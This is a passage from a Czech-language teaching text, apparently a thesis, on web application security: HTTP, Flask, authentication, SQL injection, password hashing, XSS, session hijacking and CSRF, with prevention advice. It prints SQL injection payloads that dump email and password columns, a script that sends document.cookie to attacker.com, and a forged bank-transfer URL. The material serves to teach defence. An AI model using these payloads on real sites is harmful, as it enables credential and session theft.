z puvodniho pozadavku. Pripadné muzeme pristup povolit jakékoli doméné po-
moci Access-Control-Allow-Origin: *.

Moderni prohlizece pred odeslanim samotného pozadavku provedou tzv. Pre-
flight request pomoci metody OPTIONS. Do Access-Control-Request-Method
specifikuji metodu, kterou chtéji vyuzit, nacez se zeptaji serveru, zda je ochoten
pripadny pozadavek s danou prijmout. Server bud odpovi na pozadavek OPTIONS
chybovou zpravou, nebo do hlavicky Access-Control-Allow-Methods prid4 me-
tody, které je ochoten prijmout.
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3. Webové aplikace

3.1 Uvod

Webova aplikace jsou vlastné rozsirenim klasickych statickych webovych stréa-
nek. Pomoci pozadavki HTTP a HTTPS mitze uzivatel pres webovy prohlizec¢
s aplikaci komunikovat a ¢ist, pridavat nebo ménit data. Misto toho, aby server
pouze nasel pozadovanou stranku na dané cesté a poslal ji uzivateli, preda po-
zadavek webové aplikaci. Ta na zakladé metody a cesty vygeneruje dokument,
preda ho serveru a ten ho odesle zpét prohlizeci uzivatele.

Nasledujici kéd ukazuje jednoduchy priklad webové aplikace v jazyce Python
s pouzitim frameworku Flask.

from flask import Flask, request
app = Flask(__name__)
@app.route(’/’)

def index():
return ’Hello world!’

Prvni fadek nacte knihovnu Flask, s jejiz pomoci vytvorime instanci webové
aplikace. Rédek @app.route(’/?) fekne prave definované funkci index, Ze méa
naslouchat na cesté /, tedy na hlavni strance. V zakladnim nastaveni bude tato
funkce reagovat na pozadavky HEAD a GET. Vracet bude hlavicku HT'TP pripadné
doplnénou o text Hello world!.

Samoziejmeé lze definovat i funkci odpovidajici na metodu POST. Ta mitze
napriklad zpracovavat prihlasovaci formular.

Qapp.route(’/login’, methods=[’P0ST’])
def login():
username = request.form[’username’]
password = request.form[’password’]

return redirect(’/’)

3.2 Architektura

Webové aplikace jsou typicky tvoreny tfemi vrstvami — prezentacni (frontend),
aplikacni (backend) a datovou vrstvou. Ve chvili, kdy si uzivatel chce zobrazit
webovou stranku, dotaze se webového serveru, ktery mu zasle data vygenerovana
prezentacni vrstvou aplikace — stranku ve formé dokumentu HTML, styld CSS
a JavaScriptu. Frontend ma na starost pouze zobrazeni dat a interakci s uzivate-
lem.
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Aplikacni vrstva zpracovava veskeré uzivatelské pozadavky a je zodpovédna
za logiku celé aplikace. Uchovava si ale pouze data nezbytna pro chod aplikace.
Vsechny dalsi informace, které maji byt ulozeny trvale, svéruje vrstvé datové.

Datova vrstva je typicky tvorena databazi a programem pro jeji ovlddani.
Je zodpovédna za ukladani dat, jejich upravovani, mazani a predevsim za jejich
integritu.

Doposud jsme se bavili o webovych aplikacich, které jsou tvoreny nékolika
strankami. Mezi nimi mtze uzivatel navigovat pomoci odkazi, jenz server poza-
daji o novou stranku k zobrazeni. V téchto dokumentech se pomoci formulait
nebo JavaScriptu daji provadét dalsi akce, které opét zpracovava server. Tento
zpusob implementace webovych aplikaci vsak neni jediny mozny.

Single Page Application (SPA) je webova aplikace tvorend pouze jednou stran-
kou. Pri jejim prvnim nacteni ziské uzivatel od serveru pouze zakladni strukturu
dokumentu doplnénou o JavaScript. Ze skriptii se poté v zavislosti na uzivatelové
chovani odesilaji pozadavky backendu aplikace — serveru. Ten odpovida pouze
daty aktualné urc¢enymi k zobrazeni, nikoliv celou strankou.

Frontend aplikace tato data, ktera jsou typicky ve formatu JavaScript Object
Notation (JSON), zpracuje. Nasledné upravi elementy HTML a doplni je o pravé
ziskana data.

3.3 Databaze

V databazi jsou trvale ulozena data potirebna pro chod aplikace. Moderni apli-
kace typicky potrebuji dat spoustu, pro lepsi prehlednost a efektivitu jsou proto
data rozdélena do tabulek. Kazdé tabulka obsahuje data jednoho typu — tabulka
users miize obsahovat data o uzivatelich, tabulka messages data o zpravach,
atd.

Uvniti tabulky jsou informace podle ndzvu a typu rozdélena do sloupcti. Ta-
bulka users by mohla obsahovat napriklad sloupce email a password, tabulka
messages pak sloupce content, time a identifikatory odesilatele a prijemce. Jed-
notlivé zaznamy se potom nachdazeji v radcich tabulky.

Operace s daty se ve vétsiné databazovych systému provadéji pomoci jazyka
Structured Query Language (SQL), o kterém si vice povime v kapitole vénované
utoku SQL Injection. Stoji vsak za zminku, ze existuji i tzv. NoSQL databéze,
které k ukladani dat tabulky nepouzivaji. Zkratka NoSQL je ale trochu zavadéjici
a je obcas interpretovana jako Not only SQL, aby se zdlraznilo, ze tyto databazové
systémy mohou stéle pouzivat jazyk SQL.

3.4 Autentizace

Ovéreni identity je nedilnou soucasti webovych aplikaci, bez které by se vétsina
z nich neobesla. At uz jde o socidlni sité, e-shopy nebo internetové bankovnictvi,
vSechny potfebuji néjak urcit, kdo s nimi v danou chvili komunikuje. Casto je
proto k pristupu na néjakou webovou stranku potieba se prihlasit, vétsinou po-
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moci uzivatelského jména a hesla. Tim ale nas problém nemizi — jak z pohledu
serveru rozezname pozadavky nékolika riiznych prihlasenych uzivateld?

Puavodné se k tomuto ucelu vyuzivalo Basic HTTP Authentication, kde k au-
tentizaci slouzilo uzivatelské jméno a heslo. Po prihlaseni uzivatele si prohlizec
tyto udaje ulozil do paméti a pri kazdém pozadavku je zasilal serveru v ramci
HTTP hlavicky Authorization. Server poté pri zpracovani kazdého pozadavku
overil, zda se jedna o daného uzivatele.

Prihlasovaci udaje se také daji zakomponovat primo do URL.

http://username:password@example.com/path

Prohlizec¢ tyto udaje automaticky pridda do HTTP hlavicky Authorization.

Tento zpiisob autentizace je vsak velmi nebezpecny. Prihlasovaci udaje jsou
totiz prenaseny v oteviené podobé, bez jakékoliv formy sSifrovani, a prohlizec¢ je
musi mit po celou dobu relace ulozené v paméti. Navic neexistuje zptusob, jak se
na serveru odhlésit, miizeme pouze smazat prihlasovaci idaje z paméti prohlizece.

Dnes se proto k autentizaci pouziva autentizace zalozena na cookies. Kdyz se
uzivatel prihlasi do aplikace, je mu vygenerovan unikatni identifikator. Aplikace
si ho ulozi a jeho kopii odesle zpét uzivateli v podobé cookie. A protoze jsou
cookies vzdy zasilany serveru spolecné se samotnym pozadavkem, mizeme podle
nich jednoduse identifikovat, ktery uzivatel nam dany pozadavek poslal.

Jako unikatni identifikator se d& pouzit treba tzv. Session ID — identifikator
relace. Jde o ndhodny tetézec, ktery je serverem vygenerovan pii kazdém pri-
hlaseni uzivatele. Dalsi moznosti je ulozit k uzivateli do cookies jeho standardné
vyuzivany identifikator (napt. e-mail nebo uzivatelské jméno). Ten je vSak pred
pridanim do cookies potieba upravit néjakou sifrou, aby se zamezilo moznosti, ze
si uzivatel cookie upravi a prihlasi se jako nékdo jiny.

3.5 Bezpecnost

vvvvvv

dobé, kdy se stale vice sluzeb presouva na internet, je zasadni, aby byla data
uzivatelt chranéna. V pripadé, ze se néjaka aplikace stane teré¢em tutoku, muize
dojit k tniku citlivych dat, které mohou byt nasledné zneuzity.

Ve kterych c¢astech aplikaci se tedy mohou vyskytovat bezpecnostni nedo-
statky? Nejslab$im ¢lankem byvaji zpravidla uzivatelé sami. Casto nemaji dosta-
tecné poveédomi o rizicich pouzivani internetu, pouzivaji slaba hesla, klikaji na
podezrelé odkazy a stahuji data z jinych nez originalnich zdroji. To vSechno jsou
jen nékteré z nejcastéjsich chyb, kterych se uzivatelé dopoustéji. V zavéru prace
si proto zminime nékolik titoku cilicich na duvérivost uzivatela.

Dalsim slabym c¢lankem jsou samotné webové aplikace. V néasledujicich néko-
lika kapitolach se proto budeme zabyvat konkrétnimi zranitelnostmi webovych
aplikaci. Vysvétlime si, jak probihaji utoky vyuzivajici téchto nedostatki. Riz-
nych druhu utoku vsak existuje tolik, Ze ani neni mozné je popsat vSechny. Zameé-
fime se proto jen na utoky, které jsou néjakym zptisobem zajimavé a jsou podle
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projektu OWASP Top Ten (van der Stock a kol., [2023) stale aktudlni.

Méné zranitelnosti uz se potom vyskytuje v knihovnach a frameworcich. Ty
jsou vétsinou vytvareny profesionalnimi vyvojari, kteri znaji bezpe¢nostni rizika
a snazi se je minimalizovat. Presto se néjaké chyby mohou najit i napriklad v pro-
hliZecich, ve starsich verzich TLS, nékterych HT'TP serverech, operacnich systé-
mech nebo dokonce v samotném hardwaru.
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4. SQL injection

4.1 Jazyk SQL

Structured Query Language (SQL) je dotazovaci jazyk, kterym se ovlada da-
tabaze. Prikazy napsanymi v tomto jazyce se vytvari tabulky, upravuji se v nich
data, nebo se mezi daty vyhledava. Jazyk SQL byl navrzen tak, aby pripomi-
nal anglicky jazyk a byl tedy co nejjednodussi na pouzivani. Piikazy se skladaji
z definovanych klicovych slov a operatoru (SELECT, FROM, AND, = atd.), identifi-
katora (ndzvu tabulkek a sloupci) a literdla (Tetézet, cisel, atd.). Ackoliv SQL
neni citlivy na velikost pismen, obvykle se klicova slova pisou velkymi pismeny
a identifikdtory malymi. Jazyk SQL neni citlivy ani na bilé znaky, pro oddéleni
jednotlivych slov tedy muzeme pouzit libovolny pocet mezer a novych radku.

Nejjednodussim prikladem dotazu je vyhledani vsech hodnot v libovolné ta-
bulce.

SELECT * FROM users;

Klicové slovo SELECT 1ika, ze chceme vybrat data, * znamend, Ze chceme
vybrat vSechny sloupce, FROM users tika, ze chceme vybirat data z tabulky users.
Strednik na konci fadku ukonéi prikaz, nutny vsak neni.

Ne vzdy chceme ziskat data ze vSech sloupcii, muzeme je tedy specifikovat.
Nasledujici dotaz vrati pouze email a heslo vsech uzivatela.

SELECT email, password FROM users;

Vyhledévat mtzeme i podle néjaké podminky. Klicovym slovem WHERE zacinéd
cast pro specifikaci podminek, = porovnava hodnotu sloupce s danym vyrazem.
Cést ,firstName = ’Adam’“ tedy zajisti, Ze vyhledame uzivatele s kfestnim jmé-
nem Adam.

SELECT * FROM users
WHERE firstName = ’Adam’;

4.2 Vsunuti SQL prikazu

Pravé ¢asti ,firstName = ’Adam’“ se d4 zneuzit k Gtoku na databazi. Re-
tézec Adam nejspiSe nebude napsan primo v kédu, pravdépodobné bude precten
jako soucast uzivatelského vstupu. V pripadé, ze se uzivatel chova standardné,
zada pouze Tetézec, ktery chce vyhledat. Problém nastava, pokud uzivatel do né-
jakého vstupniho pole zada tetézec obsahujici klicové znaky jazyka SQL a my
ho nezkontrolujeme. Napriklad pri vlozeni fetézce ,,> OR 1=1 --“ do pole pro
vyhledadvani se dotaz zméni na nésledujici.
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SELECT * FROM users
WHERE firstName = ’’ OR 1=1 --’;

Klicovym slovem WHERE opét zacind podminka, jejiz soucasti jsou nyni dva
vyrazy spojené operatorem OR. Prvni ¢ast vyhleda uzivatele s praznym krestnim
jménem (takovy uzivatel pravdépodobné neexistuje), druhd ¢ast je ovSem vzdy
pravdiva, jelikoz porovnava dva stejné literaly. Dvé pomlcky -- oznacuji zacatek
komentare, ktery zplisobi, ze databaze ignoruje zbytek dotazu. Misto vyhledani
uzivateli podle kiestniho jména tedy piikaz vrati vSechny uzivatele.

4.3 Nasledky

V predchozi ¢asti jsme si ukazali, jak by nasi aplikaci ito¢nik mohl napadnout
pomoci SQL injection. Jednalo se o vyhledavani uzivatelii podle jména, ito¢nik
ziskal pristup k celé tabulce users. Ta bude s nejvétsi pravdépodobnosti obsa-
hovat i citlivé informace uzivatell, jako tfeba telefonni ¢islo, emailovou adresu
nebo v horsim pripadé adresu bydlisté. Telefonni ¢islo a emailova adresa muze
byt pouzita k odesilani spamu, adresa bydlisté k vydirani.

V nejhorsim piipadé bude nase tabulka users obsahovat i sloupec password
s heslem uloZenym v &sté textové podobé. Utocnik tak ziskd pFistup k hesltim
vSech uzivatell, ta mtze nasledné pouzit k prihlaseni do jejich ic¢ti a tam na-
pachat dalsi skody. Kromé pristupu do nasi aplikace ziska ttocénik pravdépodobné
pristup i k jinym sluzbam, jelikoz maji lidé tendenci pouzivat na vice mistech
stejné heslo (Das a kol., [2014] VII.).

4.4 Hesla a hashovani

Rozumnéjsi je proto ukladat do databaze heslo v pozménéné podobé jako tzv.
hash, ktery je vystupem hashovaci funkce. Ta ma tu vlastnost, ze je jednosmérna,
tedy zZe se z hesla da vypocitat jeho hash, ale z hashe se heslo zpét ziskat neda.
Pti prihlaseni uzivatele pak stac¢i porovnat hash zadaného hesla s hashem hesla
ulozeného v databéazi. Po pripadném napadeni databaze potom nehrozi, ze by
utocnik ziskal hesla uzivatelti.

I hashovani hesel vSsak mé své nedostatky. Predevsim je nutné pouzit vhod-
nou hashovaci funkci, ktera je dostatecné odolnda proti itoktm. Napriklad funkce
MD?5 je povazovana za nepouzitelnou, uz dlouhou dobu jsou zndmy kolize hasht
(Stevens, 2007)). To jsou ptipady, kdy pro dvé rizné hesla vrati hashovaci funkce
stejny vystup. V pripadé MD5 se tedy utoc¢nik nemusi dostat primo k heslu sa-
motnému, ale k jinému Tetézci se stejnym hashem.

Prolomit hashovaci funkci mize ttocnik zkusit i hrubou silou, tedy vyzkouset
vsechny mozné kombinace znakti. Znaénym zjednodusenim tohoto pristupu jsou
tzv. Slovnikové titoky. Utoénik mé k dispozici seznam fetézct (slovnik), o kterych
si mysli, ze by mohly byt heslem. S témito fetézci nebo jejich kombinacemi se
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postupné zkousi prihlasovat. Jednoduchym prikladem slovniku je seznam slov
z néjakého jazyka, nebo seznam c¢asto pouzivanych hesel.

K prolomeni dané hashovaci funkce mtze ttoc¢nik pouzit i tzv. Rainbow tables.
To jsou predpocitané tabulky slouzici ke zpétnému ziskani hesla ze zndmého ha-
she. Tyto tabulky obsahuji predpocitané hashe pro velké mnozstvi vstupnich
hesel. Do vétsich detaila v této praci zabihat nebudeme, pékné jsou popsany v
préaci (Zang, [2019)).

Pokud utoé¢nik ziskd hash nachézejici se v tabulce, bude si z né¢j pravdépo-
dobné moct odvodit i pivodni heslo. Tomu se da predejit pouzitim soli — ndhodné
vygenerovancho tetézce, ktery se prida k heslu pred vypoctem hashe.

4.5 Vsunuti slozitéjsiho prikazu

Ukazali jsme si, jak by ttoc¢nik mohl zneuzit funkcionalitu vyhledavani uzi-
vatelll. Jako vyvojaitim nés jako nejjednodussi feSeni miize napadnout zakazat
vyhledavani v tabulkach obsahujici citlivé idaje. Takovych tabulek mizeme mit
v aplikaci hodné. Kdybychom preci jen v aplikaci ponechali vyhledavaci pole
pouze pro tabulky bez citlivych idaju, ani tak bychom se problému nezbavili.

Jazyk SQL totiz umoznuje sestaveni vyhledavaciho dotazu z vice ¢asti. Kli-
cové slovo UNION umoznuje spojit vysledky dvou dotazt do jednoho. Uvazujme
vyhledédvani v tabulce messages.

SELECT * FROM messages
WHERE text LIKE ’%<retezec>),” AND sender = <id>;

WHERE opét uvozuje podminky. LIKE v prvni ¢asti porovnava dva fetézce,
% je zastupny znak pro libovolny text. Vyraz ,text LIKE ’Y<retezec>),’“ tedy
vyhleda vsechny zpravy, které obsahuji zadany retézec. ,sender = <id>“ zaridi,
ze vyhleddvame pouze zpravy od daného uzivatele (tato ¢ast bude vygenerovana
serverem).

Co se ale stane, kdyz tuto¢nik do vyhledavaciho pole zada retézec
»%° UNION SELECT * FROM users --“?7 Vystupem dotazu bude spojeni vsech
dat z tabulky messages (vSech zprav vsech uzivatel) se vsemi daty v tabulce
users. Databéze uvidi dotaz nasledovné (nezapomenme, ze —- zptsobi ignorovani
zbytku radku).

SELECT * FROM messages
WHERE text LIKE ’%%’
UNION
SELECT * FROM users -- %’ AND sender = <id>;

Jediny problém miize pro utocnika predstavovat fakt, ze pocet sloupct vrace-
nych obéma dotazy musi byt stejny. Misto * by tedy musel uvést nazvy sloupc,
které chce ziskat. Jejich nazvy ale pravdépodobné nebude mit k dispozici, porad
je ale mize odhadnout. Email bude typicky ve sloupci email nebo mail, heslo
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v password nebo pwd. Zbylé sloupce nezajimavé pro ttocnika mohou byt na-
hrazeny literdlem, naptiklad fetézcem ’1°. V pripadé, ze by tabulka messages
obsahovala 5 sloupcti, itocnik by pro zisk dat users vlozil do vyhledavaciho pole
nasledujici:

%’ UNION SELECT email, password, ’1’, ’1°, ’1’ FROM users; --;

A dotaz vykonany databézi by vypadal takto.

SELECT * FROM messages
WHERE text LIKE ’%’
UNION
SELECT email, password, ’1’, ’1’, ’1’ FROM users;
-— %’ AND sender = <id>;

4.6 Prevence

Branit se tomuto typu ttoku je pomeérné jednoduché. Stac¢i ndm zkontrolo-
vat, ze vstupni fetézec neobsahuje klicové znaky jazyka SQL, a pripadné pred né
vlozit tnikovy znak (escape character). Klicovym znakem jazyka SQL je napti-
klad apostrof, ktery se pouziva pro vymezeni fetézcti. Unikové znaky jsou riizné
v zavislosti na presném druhu SQL, my pouzijeme \. Po escapenuti se tedy reteé-
zec ’ OR 1=1; -- zméni na \’ OR 1=1; --. Escapenuty apostrof uz nezptisobi
ukonceni fetézce, naopak bude jeho soucédsti a prikaz se provede tak, jak bylo
zamysleno.

Nejjednodussim zptisobem prevence obecné je pouziti knihovny. Miizeme na-
priklad vyuzit knihovnu zaloZzenou na principu Prepared statements, kterd do
predpripravené¢ho dotazu vlozi escapenuté vstupni parametry. V ukazce nize je
pouzita knihovna MySQL pro Python.

import mysql.connector

connection = mysql.connector.connect(...)
cursor = connection.cursor (prepared=True)

query = "SELECT * FROM messages WHERE sender = ¥s;"
result = cursor.execute(query, sender_id)

Dalsi moznosti je pouziti knihovny sestavujici SQL dotazy z casti. Takovou je
napiiklad knihovna SQLAlchemy pro Python.

from sqlalchemy import create_engine, select, where

engine = create_engine(’sqlite:///:memory:’, echo=True)
connection = engine.connect()

28



statement = select(messages).where(messages.c.sender == sender_id)
result = connection.execute(statement)

Za zvézeni stoji i pouziti knihovny s Objektové-relaénim mapovanim (ORM).
Jde o techniku propojujici tiidy objektoveé orientovanych jazyki se schématy ta-
bulkek relacni databaze. Nazvy proménnych dané tiidy typicky odpovidaji na-
zvum sloupci tabulky:.

Kromé toho ORM poskytuje metody pro vytvareni, ¢teni a ipravu dat, takze
se jako programatori k jazyku SQL nemusime viibec dostat. Také knihovny ORM
vsechny uzivatelské vstupy osetiuji. Definice databazového modelu s knihovnou
Flask-SQLAlchemy muze vypadat tieba takto.

from flask_sqglalchemy import SQLAlchemy

db = SQLAlchemy()

class Message(db.Model):
sender = db.Column(db.Integer)
text = db.Column(db.String(255))

A dotaz vyhledavajici vSechny zpravy od daného uzivatele nasledovné.

messages = Message.query.filter_by(sender=sender_id).all()
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5. Cross-site scripting

5.1 Uvod

Cross-Site Scripting (XSS) je typ utoku, pii kterém je do jinak spolehlivé
webové stranky pridan skodlivy kéd. Funguje velmi podobné jako SQL injection.
Misto vlozeni SQL prikazi, jejichz obsah je néasledné vlozen do instrukei data-
baze, vsak utocnik do formulare vlozi kod jazyka JavaScript, ktery chce pridat
do webové stranky a spustit.

Predstavme si jednoduchou webovou aplikaci na poznamenavani uikoli, kterou
jsme si udélali sami pro vlastni potfebu. Pro jednoduchost neuvazujme zadny ser-
ver ani databézi, tkoly jsou pridavany pouze do HTML dokumentu a po zavreni
stranky jsou ztraceny. Aplikace obsahuje pouze jedno textové pole, do kterého
zadame nazev tkolu, tlac¢itko pro pridani tkolu a seznam vsech tkoli. Po stisk-
nuti tlacitka se spusti JavaScriptova funkce, ktera vezme retézec z textového pole
a prida ho do seznamu. Napriklad po zadani tikolu ,,Zajit na postu“ muze HTML
dokument vypadat asi takto:

<ul>
<1i>...0statni dkoly...</1i>
<1li>Zajit na poStu</li>
</ul>

Co kdyz zkusime do textového pole zaddame néjaky JavaScript? Vhodnym tes-
tovacim vstupem mitize byt naptiklad alert(’Ahoj!’);, tedy funkce zobrazujici
vyskakovaci okno s danym textem. Jak uz vime z prvni kapitoly, skript musi byt
uzavien do tagi <script>...</script>, do textového pole tedy musime zadat
<script>alert(’Ahoj!’);</script>. Po zafazeni tohoto fetézce do seznamu se
HTML dokument zméni na:

<ul>
<1i>...0Ostatni dkoly...</1i>
<1i>Zajit na po&tu</li>
<li><script>alert(’Ahoj!’);</script></1i>
</ul>

P1i nacteni dokumentu prohlizecem se posledni radek vyhodnoti jako skript,
ktery je rovnou spustén. Samotny radek se zobrazi prazdny, protoze neobsahuje
zadny text, misto toho se zobrazi vyskakovaci okno s textem ,Ahoj!*“. Timto
zpusobem se tedy da do webové stranky vlozit kéd JavaScriptu.

5.2 Typy XSS

Utoky XSS délime primarné podle dvou kritérii na nékolik typi (Sitnick a
OWASP Community}, 2022)). Podle toho, zda je skodlivy kéd ukladdn a podle
toho, kdo za jeho spusténi muze.
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o Je skodlivy kéd ukldadan?

— ano, kéd je ulozen, dusledky se mohou projevit pri kazdém nacteni
stranky — Stored XSS

— ne, dusledky utoku se projevi rovnou — Reflected XSS
o Kdo za spusténi kodu muze?

— server poskytne stranku obsahujici skodlivy kéd — Server XSS

— vsunuti kédu do stranky povoli prohlize¢ uzivatele — Client XSS

Ve vyse uvedeném prikladu se kod nikam neuklddal a spustil ho prohlizec¢
uzivatele, jednalo se tedy o Reflected Client XSS. Nyni si ukazeme pravdépodobné

Vv

5.3 Stored Server XSS

Uvazme webovou aplikaci pro nakupovani na internetu, ktera uzivatelim
umoznuje pridat k nakoupenému zbozi recenzi. Po zadani recenze se jeji text
odesle na server a ulozi do databaze, aby se v budoucnu mohl zobrazit vsem na-
vstévnikiim. Kdyz si jiny uzivatel chce zobrazit stranku produktu, recenze jsou
nacteny z databéaze a pridany do HTML dokumentu.

Problém nastane ve chvili, kdy do textu recenze utoc¢nik vlozi JavaScript.
V pripadé, ze textové pole neni oSetieno, server si ulozi do databaze potencidlné
skodlivy kéd. Ten je potom pti kazdém pozadavku pridan do HTML dokumentu
vsem uzivatelim, ktefi si stranku produktu chtéji zobrazit.

Zobrazeni vyskakovaciho okna bylo pomérné neskodné, co vsechno se ale da
s JavaScriptem provést? Ze skriptu muzeme predevsim ¢ist a ménit obsah zobra-
zovaného dokumentu a pristupovat k proménnym v paméti prohlizece. Prakticky
jsou nam tedy dostupné vsechny informace, které jsou na dané strance zobrazeny
pravoplatnému uzivateli.

Také muzeme pristupovat ke cookies, které jsou pro danou doménu ulozeny
v prohlizeci. S jedinou podminkou — cookie musi byt pristupna skripttim, tedy
nesmi mit nastaven priznak HttpOnly. Z JavaScriptu mizeme vykonavat i HTTP
pozadavky, nic ndm tedy nebrani v tom, abychom si vSechny dostupné cookies
odeslali na nas server, kde s nimi nalozime dle libosti.

Ostatni, HttpOnly cookies jsou pro JavaScript sice nedostupné, ale pri vykona-
vani HTTP pozadavki na doménu, se kterou jsou asociovany, jsou i tak odesilany
v hlavicce Cookie.

5.4 Session hijacking

Termin Session hijacking by se do cestiny dal prelozit jako ,,Unos relace*.
Spoc¢iva v odcizeni jiz zminované Session ID cookie a jejim nésledném pouziti
utocnikem. V pripadé, ze webovy server spolehd pouze na autentizaci pomoci
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Session ID, nemé Sanci rozeznat utoc¢nika od opravnéného uzivatele. Utocnikovi
je tak umoznén prakticky neomezeny pristup k ictu obéti.

Session hijacking je mozné provést nékolika zpusoby. Fyzickym odcizenim (od-
koukénim Session ID z obrazovky), pouzitim malwaru na pocitac¢i obéti nebo od-
chytem komunikace mezi obéti a serverem. Se zranitelnostmi webovych aplikaci
ale nejvic souvisi zisk Session ID pomoci ttoku XSS.

Meéjme opét webovou aplikaci pro nakupovani na internetu s moznosti recenzo-
vani. Nésledujici kod vlozime do recenze, ulozi se na serveru a pri kazdém nacteni
stranky se navstévnikovi spusti v prohlizeci. K6d ukradne document . cookie a za-
sle ji na stranku attacker.com/cookies. Pak uz je jen na néas, jak se Session
ID (a pripadné i jinymi cookies) nalozime. Nesmime vSak zapomenout na nasem
serveru attacker.com povolit CORS.

<script>
fetch("http://attacker.com/cookies", {
method: "POST",
body: {cookie: document.cookie}
3
</script>

5.5 Prevence

Jak se proti XSS tutokim branit? Nejjednodussi obranou je osetrovat vSechny
vstupy uzivatele a pred jejich vlozenim do stranky zakoédovat vSechny klicové
znaky. K reprezentaci znakt se v HTML mohou pouzit tzv. entity, ty jsou poté
v dokumentu zobrazeny jako odpovidajici symbol. Entita HTML je Tetézec for-
matu &jméno; nebo &#cislo; a reprezentuje pravé jeden symbol. Pro HTML
jsou klicové predevsim znaky <, >, ty mtzeme nahradit &1t; a &gt;, pripadné
&#60; a &#62;.

Osetfeni obsahu vkladaného do dokumentu vSsak nemusime délat rucné. Vét-
sina modernich webovych frameworkt nabizi funkce pro automatické zakédovani
vsech klicovych znakiu. Prikladem mohou byt Ssablony Jinja, které se pouzivaji
ve frameworku Flask. Pojdme si jesté rozmyslet nékolik zptisobii prevence Session
hijacking.

Mohli bychom napriklad svazat Session ID s IP adresou uzivatele a pti kazdém
pozadavku kontrolovat, zda je IP adresa pozadavku shodnd s ulozenou. Tento
zpusob ale neni prilis spolehlivy. IP adresa se totiz uzivateli mize ménit i béhem
jedné relace, tfeba pri pripojeni k internetu pres mobilni data. Navic miize byt za
jednou IP adresou ,schovanych® vice uzivatelli, tomu tak je napriklad pti vyuziti
NAT.

Network Address Translation (NAT) je technika Tesici nedostatek IP adres.
Zakladni myslenka tohoto systému je, Ze vSechny pocitace v privatni siti sdili
jednu verejnou IP adresu. Pti komunikaci s internetem vsechny pozadavky z pri-
vatni sité prochazi pres router, ktery je ptreposila. Tento router ma na starosti
preklad adres a dorucovani odpovédi zpét na spravny pocitac. Kvili NAT bychom
tedy nemohli IP adresu svazat pouze s jednou Session ID.
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Mize nas také napadnout, ze bychom Session ID misto do cookies schovavali
primo do URL. Na strance aplikace zranitelné vici XSS by k ni vSsak mél itoc¢nik
stale pristup, jelikoz se z JavaScriptu da k URL pristoupit. Kromeé toho bychom se
museli vyporadat s dalsimi problémy. Jeden velky predstavuje hlavicka Referer,
do které se uklada hodnota URL stranky, ze které uzivatel novy pozadavek ode-
slal. V pripadé, ze by uzivatel na nasi strance klikl na odkaz vedouci jinam (tfeba
na reklamu), obsahovala by hlavicka Referer URL se zakomponovanou Session
ID, kterd by tak byla pristupnd treti strané.

Tento problém nevyvstava pouze pri ukladani Session ID do URL. Pti obno-
veni hesla ve webovych sluzbach uzivateli ¢asto do e-mailu prijde odkaz obsahujici
kli¢ pro jeho zménu. Takovyto odkaz musi byt platny pouze na jedno pouziti, ji-

nak by mohl byt zneuzit néjakou treti stranou, kterad by ho mohla zjistit z hlavicky
Referer.
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6. Cross-site request forgery

6.1 Uvod

Uvazujme webovou aplikaci internetového bankovnictvi. Pfi bézném pouzivani
této aplikace se uzivatel prihlasi svym uzivatelskym jménem a heslem. V reakci
na prihlaseni server vygeneruje Session ID, které ve formé cookies odesle zpét
prohlizeci uzivatele. Ten si cookies ulozi a pri kazdém dalsim pozadavku je prida
do hlavicky HT'TP, diky ¢emuz bankovni aplikace uzivatele identifikuje. Zkusme
si nyni rozmyslet, jakym zplisobem by se mohlo stat, ze nékdo provede pozadavek
s cizim Session ID.

Trivialnim pripadem je situace, kdy se uzivatel prihlasi do aplikace na verejné
pifstupném pocitaci a zapomene se odhlasit. Clovék pouzivajici poéita¢ po ném
muze pod jeho uctem provadét libovolné akce. Webové aplikace v tomto pripadé
nemaji zadnou Sanci rozpoznat, ze pozadavek neptisel od pavodniho uzivatele.
Mohou témto nedopatienim ale zkouset predejit.

Jednim z moznych feseni je nastavit Session ID jako Session cookie, takové
jsou smazany pii zavieni okna prohlizece. Tento zptisob Teseni je casto doprovazen
zaskrtavacim polickem ,Zistat prihlasen® diky c¢emuz se ze Session ID stane
Persistent cookie. U internetového bankovnictvi ale takovéto policko nehledejme.
Aplikace pracujici s citlivymi tdaji kromé mazani Session ID pii zavieni okna
prohlizece casto nastavuji i kratsi dobu platnosti Session ID. To praveé proto, aby
se predeslo situaci, kdy se uzivatel zapomene odhlasit.

Dalsim zptsobem, jak se nékdo miize dostat k cizimu Session ID, je uz zmi-
novany Session hijacking. Tento zptisob utoku je ale zavisly na tom, Ze je aplikace
zranitelnd na XSS. A i kdyby nahodou byla, kradezi Session ID by se porad dalo
predejit nastavenim cookie na HttpOnly.

6.2 Jednoduchy priklad

V' predchozich prikladech jsme rozebirali situace, jak by se utoc¢nik mohl
k Session ID dostat. Pro provedeni Cross-Site Request Forgery (CSRF) ale zisk
Session ID neni nutny. Utoénik se pouze pokusi presvéd¢it uzivatele, aby provedl
nechtény pozadavek sam. Konkrétni zpiisob provedeni si rozebereme na ukazce
z popisu CSRF (Sitnick a OWASP Community, 2023)).

Uto¢nik musi nejprve sestavit URL pozadavku, ktery chee, aby uzivatel ne-
védomky odeslal. Poté jakymkoli moznym zptsobem naldka obéf na svij web,
zatimco je prihlasena do bankovni aplikace. Tam bude umisténo tlacitko, po jehoz
stisknuti se odesle pozadavek na predem sestavenou URL. Jediné, co utoc¢nikovi
zbyva, je presveédcit uzivatele, aby na tlacitko klikl.

Po stisku tlacitka se pozadavek odesle. Jelikoz vsak odchazi z toho stejného
prohlizece, pres ktery je uzivatel do banky prihlasen, bude tento pozadavek ob-
sahovat i uzivatelovu Session ID do bankovni aplikace. Aplikace bude mit pocit,
ze pozadavek opravdu chtél prihlaseny uzivatel odeslat a zpracuje ho.
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6.3 Nespravné vyuziti pozadavka GET

V kapitole o HT'TP protokolu jsme zminili, k ¢emu by mély slouzit rtizné typy
pozadavkil. GET ziskava data, POST data vkldda, PUT je upravuje a DELETE maze.
Standard RFC 9110 (Fielding a kol.| 2022, 9.2.1) dokonce zakazuje, aby mél poza-
davek GET néjaky vliv na stav aplikace. Teoreticky by nam ale k naprogramovani
funkéni aplikace stacil. Pojdme se podivat, jaké problémy by to zptisobilo.

Pozadavek POST miuzeme nahradit metodou GET tak, ze data misto do téla
pozadavku priddme do URL jako query parametry. Bankovni transakci bychom
potom mohli spustit jednim pozadavkem GET provedenym na /transfer:

GET /transfer?to=J0HN&amount=1000 HTTP/1.1
Host: bank.com
Cookie: SessionID=1234567890

Pro utoé¢nika by bylo velmi snadné zkonstruovat URL iniciujici pfevod pe-
néz na jeho ucet: http://bank.com/transfer?to=ATTACKER&amount=1000000.
